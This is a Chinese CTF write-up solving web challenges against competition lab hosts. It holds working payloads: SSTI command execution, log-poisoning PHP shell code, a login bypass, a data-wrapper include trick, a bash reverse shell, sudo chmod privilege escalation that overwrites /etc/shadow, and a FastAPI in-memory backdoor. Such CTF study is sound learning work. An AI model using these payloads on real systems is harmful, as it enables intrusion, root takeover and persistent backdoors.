成都大学第八届玄武杯(ak)

锦家有什么

查看源码发现/try_a_try

直接猜参数是name果真!果然也是ssti直接秒了

1
2
try_a_try?name={{lipsum.__globals__.os.popen('tac /f*').read()}}
NSSCTF{191c23bd-63f0-4383-8719-15471a3e78e8}

ez_include

这题就不分析代码了,?page=/flag就直接秒了!有个加强版的,待会直接就在那题分析代码了!

1
NSSCTF{216a17fb-19f6-49e7-863b-bd0eb63d86b7}

normal_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 
highlight_file(__FILE__);
error_reporting(0);
include 'next.php';

if(isset($_GET['a']) && isset($_POST['c'])){
$a=$_GET['a'];
$c=$_POST['c'];
parse_str($a,$b);
if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){
$num1=$b['num'][0];
$num2=$b['num'][1];

if(in_array(10520,$b['num'])){
echo "记住这个数";
echo "<br>";
}else{
die("这都记不住?");
}

if($num2==114514){
die("我不想要这个数字!");
}

if(preg_match("/[a-z]/i", $num2)){
die("还想十六进制绕过?");
}

if(strpos($num2, "0")){
die("还想八进制绕过?");
}

if(intval($num2,0)==114514){
echo "好了你可以去下一关了".$next;
}else{
echo "我现在又想要了,嘻嘻";
}

}else{
echo "不er,md5你不会";
}

}else{
echo "你看看传什么呢";
}

parse_str($a,$b);将字符串$a解析成数组存入$b

if(strpos($num2, "0"))0在第一位返回的就是0,所以可以直接8进制绕过

payload(&要url编码不然就会被认为是参数分割符)

1
2
3
?a=cdusec=QNKCDZO%26num[]=10520%26num[]=0337522
post:
c=240610708

第二关/leeevvvel2222222.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

#flag在/flag中,试着读读?

error_reporting(0);

if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){
include($file);
}
}else{
highlight_file(__FILE__);
}

伪协议都用不了有waf,那就日志包含,apache服务器

1
2
3
4
5
/var/log/apache/access.log之前一直以为是这个,但是查了一下现在不是了
/var/log/apache2/access.log是这个,直接打就行了
curl -H "User-Agent: <?php system('tac /f*');?>" "http://node10.anna.nssctf.cn:22383/leeevvvel2222222.php"

NSSCTF{4c29beda-b185-46bc-9fb2-efccf4b193b9}

眼见不一定为实

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
from flask import Flask, render_template

app = Flask(__name__, template_folder="templates")


@app.route("/")
def index():
return render_template("index.html")


@app.route("/secret")
def secret():
return os.getenv("FLAG", "NSSCTF{default}")


if __name__ == "__main__":
app.run("0.0.0.0", 8080, debug=False)

直接访问403禁止看下题目

Nginx 和 Python 对 URL 路径的解析方式可能不同,意思就是让我们弄个路径Nginx不能解析成/secret,但是python可以解析成/secret

上网查了一下还真有Nginx 路径绕过-先知社区

nginx.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
server {
listen 80;
server_name localhost;

location ~* ^/secret/?$ {
deny all;
return 403;
}

location ~* ^/secret/ {
deny all;
return 403;
}

location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}

Nginx 配置的核心访问控制部分,我们看看它是怎么处理的可以看到它用正则匹配了所有的/secret后面加或者不加任何东西,但是一些特殊的字符匹配不到,比如不可见字符\x85

改成85发包即可!

ez_file

开局就登录页面,扫出个/www.zip

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
#悄悄的,校内赛道第一个找到学长的秘密的私信学长秘密内容给奶茶喝

session_start();
error_reporting(0);
#header('Content-Type: application/json');


$params = [];
$role = "guest";
$admin_role = "admin";
if (stripos($_SERVER["CONTENT_TYPE"] , "application/json") !== false) {
$raw = file_get_contents("php://input");
$data = json_decode($raw, true);
if (json_last_error() === JSON_ERROR_NONE) {
$params = $data;
foreach ($params as $key => $value) {
$$key = $value;
}
} else {
echo json_encode(["error" => "Invalid JSON"]);
exit;
}
}
// 如果是普通表单请求
elseif ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = $_POST['username'] ;
$password = $_POST['password'] ;
// $params = ['username' => $username, 'password' => $password];
} else {
echo json_encode(["error" => "Unsupported request method"]);
exit;
}

$client_ip = $_SERVER['REMOTE_ADDR'] ;

if ($username === "admin" && $password === "456789" && $client_ip === "127.0.0.1") {
$_SESSION['role'] = $admin_role;
echo json_encode([
"status" => "success",
"message" => "Login successful (local admin)",
"ip" => $client_ip
]);
header("Location: index.php");
exit;
}

if ($username === "guest" && $password === "123456") {
$_SESSION['role'] = $role;
#echo $role;
#echo json_encode(["status" => "success", "message" => "Login successful", "user" => $username]);
header("Location: index.php");
exit;
} else {
http_response_code(401);
echo json_encode(["status" => "failed", "message" => "Invalid username or password"]);
}
?>

肯定是想法子登录进去$client_ip = $_SERVER['REMOTE_ADDR']这玩意获取用户ip地址,即使知道账号密码也登录不进去!然后普通用户登录给我跳回来了,直接看index.php果然是$_SESSION['role']

那不就正好用上了第一个if进行变量覆盖了吗,直接一次性覆盖三个变量

1
{"role":"admin","username":"guest","password":"123456"}

然后就登录上去了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
session_start();
error_reporting(0);


$secret = rtrim(file_get_contents("/secret"), "\r\n");

if(isset($_GET['secret'])){
if($_GET['secret'] !== $secret) {

header("Location: login.html");
exit;
}
}
else if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
header("Location: login.html");
exit;
}
?>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$fileType = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

$data = file_get_contents($_FILES['file']["tmp_name"]);

$type = mime_content_type($_FILES['file']["tmp_name"]);


if ($_FILES["file"]["size"] > 1000) {
echo "file too large";
return;
}

#文件后缀白名单检测,我就不信你还能上传php文件,嘻嘻嘻
if(!in_array($fileType, ["jpg","png","gif","jpeg"])){
echo "file type not allow";
return;
}



if (move_uploaded_file($_FILES['file']["tmp_name"], "./uploads/" . md5($_FILES["file"]["name"]).".jpg")) {
echo "upload success";
echo "<br>";
echo "upload to ./uploads/".md5($_FILES["file"]["name"]).".jpg";
} else {
echo "upload failed";
}
}
?>

<?php
$black_list=["php", "phtml", "php3", "php4", "php5", "pht"];
if(isset($_GET['old_name']) && isset($_GET['new_name'])){
$name = strtolower(pathinfo($_GET['new_name'], PATHINFO_EXTENSION));
if(in_array($name,$black_list)){
echo "我不想看到php文件";
return;
}

$data = file_get_contents($_GET['old_name']);
if(empty($data)){
echo "怎么没有东西,这我改什么";
return;
}
$file = tmpfile();
fwrite($file, $data);
fflush($file);
fclose($file);


file_put_contents("./uploads/".$_GET['new_name'],$data);
echo "文件重命名成功";
}
?>

<div class="files">
<?php
$files = scandir("./uploads/");
foreach ($files as $file) {
if($file != "." && $file != "..") {
if (is_file('./uploads/' . $file)) {
?>
<a href="./uploads/<?=$file?>"><?=$file?></a>
<?php }}} ?>
</div>

我把无关紧要的html部分给删了!

先看第一个php块,就是一个只能上传图片的白名单检测

第二个php块关键部分

1
2
$data = file_get_contents($_GET['old_name']);
file_put_contents("./uploads/".$_GET['new_name'],$data);

它会将读到的文件写入新的文件名,那不就直接任意文件读取了嘛xd

1
2
?old_name=/flag&new_name=rufeii
NSSCTF{77e17714-ce59-431d-b605-0db30f8bbb50}

ez_include_revenge

前面那道题的加强版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
stream_wrapper_unregister('php'); //禁用php流封装协议

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
}; //创建目录用的函数,后面接了个对'进行转义的函数
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder); //创建users/rand/目录并切到这个目录,也就是说此时网站根目录指向这个

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
//xff可以控制创建的目录,但是有替换,basename返回文件名部分,好像这里没什么用

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true)); //创建目录,并且在我们创建的目录下写入环境变量
chdir('..'); //回到users/rand/
$_GET['page']=str_replace('.','',$_GET['page']); //过滤点
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
if (preg_match('/f.*l.*a.*g/i', $_GET['page'])) {
echo "这次不会让你得逞了!"; //flag被严格过滤,上个版本的不能打了
}else{
include($_GET['page']);
}
}else{
echo "再想想?";
}
chdir(__DIR__);
system('rm -rf users/'.$randFolder); //删除创建的目录
?>

那么分析完源码,不能用点和php伪协议,试了一下data伪协议,allow_url_include=0直接限制死了远程包含都不行了,session包含暂且不说能不能过waf,我估计session.upload_progress.enabled这个没开,也打不了!下面打不通了,就只能考虑配合上面一起打了

非预期

file_put_contents('profile',print_r($_SERVER,true));能不能利用这个文件呢?

1
2
3
curl -i -H "User-Agent: <?php system('tac /f*');?>" -H "X-Forwarded-For: rufeii" "http://node10.anna.nssctf.cn:20167/?page=rufeii/profile"
这个不行肯定会被检测到
curl -i -H "User-Agent: <?php system('tac /f*');?>" -H "X-Forwarded-For: ." "http://node10.anna.nssctf.cn:20167/?page=profile"但是这个就打出来了非预期说是

莫名其妙,所以说还是要多去尝试,看似不可能实则也有可能!

为什么会出现非预期?

file_gets_contents只会在工作目录找!

mkdir无法递归创建目录除非使用-p参数。那么前面的

1
2
3
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

就是没用的,这点其实在报错中也可以体现!然后如果xff为空profile就写在html目录下,chdir(‘..’)到www,所以此时工作目录是www!脚本目录是html!file_gets_contents在工作目录肯定找不到profile,但是include会去脚本目录找,所以直接绕过。

也就是说我们把profile写到了脚本目录去(/var/www/html/profile),然后工作目录不是脚本目录的时候就可以绕过!利用的是这两个函数处理的差异性!

预期

前面说到是因为少了-p参数不能递归创造目录,导致profile写到了脚本目录,如果有的话,肯定上面的打法就失效了!那么就是预期的打法!

预期打法就是利用这两个玩意对伪协议检测差异!

file_get_contens对data协议的检测data:[][;base64],
include [协议头]://这个才能检测成伪协议

也就是说我们把文件名命名为这种形式是不是就可以让file_get_contents认为是伪协议,但是include会去包含!所以甚牛而逼之!

payload:

1
curl -H "X-Forwarded-For: data:,rufeii" -H "User-Agent: <?php system('tac /f*');?>" "http://node9.anna.nssctf.cn:25670/?page=data:,rufeii/profile"

ez_fastapi

非预期

这题的非预期是出网反弹shell

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, JSONResponse
from jinja2 import Environment
import uvicorn

app = FastAPI()
Jinja2 = Environment()

Jinja2 = Environment(
variable_start_string='{',
variable_end_string='}'
)

@app.exception_handler(404)
async def handler_404(request, exc):
print('not found!')
return JSONResponse(
status_code=404,
content={"message": "Not found"}
)

@app.middleware('http')
async def say_hello(request: Request, call_next):
response = await call_next(request)
response.headers['say1'] = 'hello!'
return response

@app.middleware('http')
async def say_hi(request: Request, call_next):
response = await call_next(request)
response.headers['say2'] = 'hi!'
return response

@app.get("/")
async def index():
return {"message": "Hello World"}

@app.get("/shellMe")
async def shellMe(username="Guest"):
Jinja2.from_string("Welcome " + username).render()
return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>")

def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")

app.add_api_route = method_disabled
app.add_middleware = method_disabled

if __name__ == "__main__":

uvicorn.run(app, host='0.0.0.0', port=8000)

由于没回显,本地调成有回显的方便找东西,最后exp:

1
2
3
/shellMe?username={self.__dict__._TemplateReference__context.keys()}先用这个看下有哪些内置的东西可以使用
用bash -c "bash -i >&/dev/tcp/ip/port 0>&1"去弹shell
/shellMe?username={lipsum.__globals__.os.popen('bash -c "bash -i >&/dev/tcp/ip/port 0>&1"').read()}注意url编码一下就好了

哈哈拿到shell之后flag就在跟目录下,但是没有权限!先看下能不能suid提权,但是没有好的suid提权命令!

sudo 提权

1
2
3
4
5
6
sudo -l发现可以用chmod命令提权,这是一个设置文件权限的命令,对于这道题来说我们只需要
chmod 764 /flag 就可以直接读了
拿下整台机子
chmod 766 /etc/shadow
echo 'root:$1$flag$Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::' > /etc/shadow
然后su root(密码就是我们改的root)这样就拿下了

预期

那么说到非预期是出网打反弹shell,那么预期自然就是不出网打内存马呗!

这里就不是flask框架下的内存马了,是FaskAPI框架!参考:FastAPI 内存马的研究 - caterpie的小站

  1. 经典路线打路由添加函数
  2. 新路线的探究
1
2
app.add_api_route = method_disabled
app.add_middleware = method_disabled

只能打第二种了,这次当回脚本小子!感觉挺有意思的,打算后面研究一下

1
/shellMe?username={lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app.middleware_stack.app.app.app.add_exception_handler(404,lambda request,exc:__import__('sys').modules['__main__'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}

这个payload我在本地打通了,放到远程就打不通了!后面一步一步fuzz,发现是中间件的问题,就一个app

1
/shellMe?username={lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app.middleware_stack.app.add_exception_handler(404,lambda request,exc:__import__('sys').modules['__main__'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}

byd还是打不通,还是一步步测试,发现题目sys.modules['__main__']下面没有app,真奇怪,难道是bao师傅把它删了?后面BR师傅说是在app模块压根就不在main模块,但是本地为什么可以呢?

附件里面还有个start.sh被我忽略了

1
exec uvicorn app:app --host 0.0.0.0 --port 8000

uvicorn用于启动 Uvicorn ASGI 服务器,app:app格式是module_name:variable_name

所以本质上它是通过这个起的服务,我本地就是运行python脚本起的服务自然不一样

1
/shellMe?username={lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['app'].app.middleware_stack.app.add_exception_handler(404,lambda request,exc:__import__('sys').modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}))")}

这样就打通了

总结

这道题还是很不错的,增加了我对ssti,反弹shell,linux提权,内存马的理解!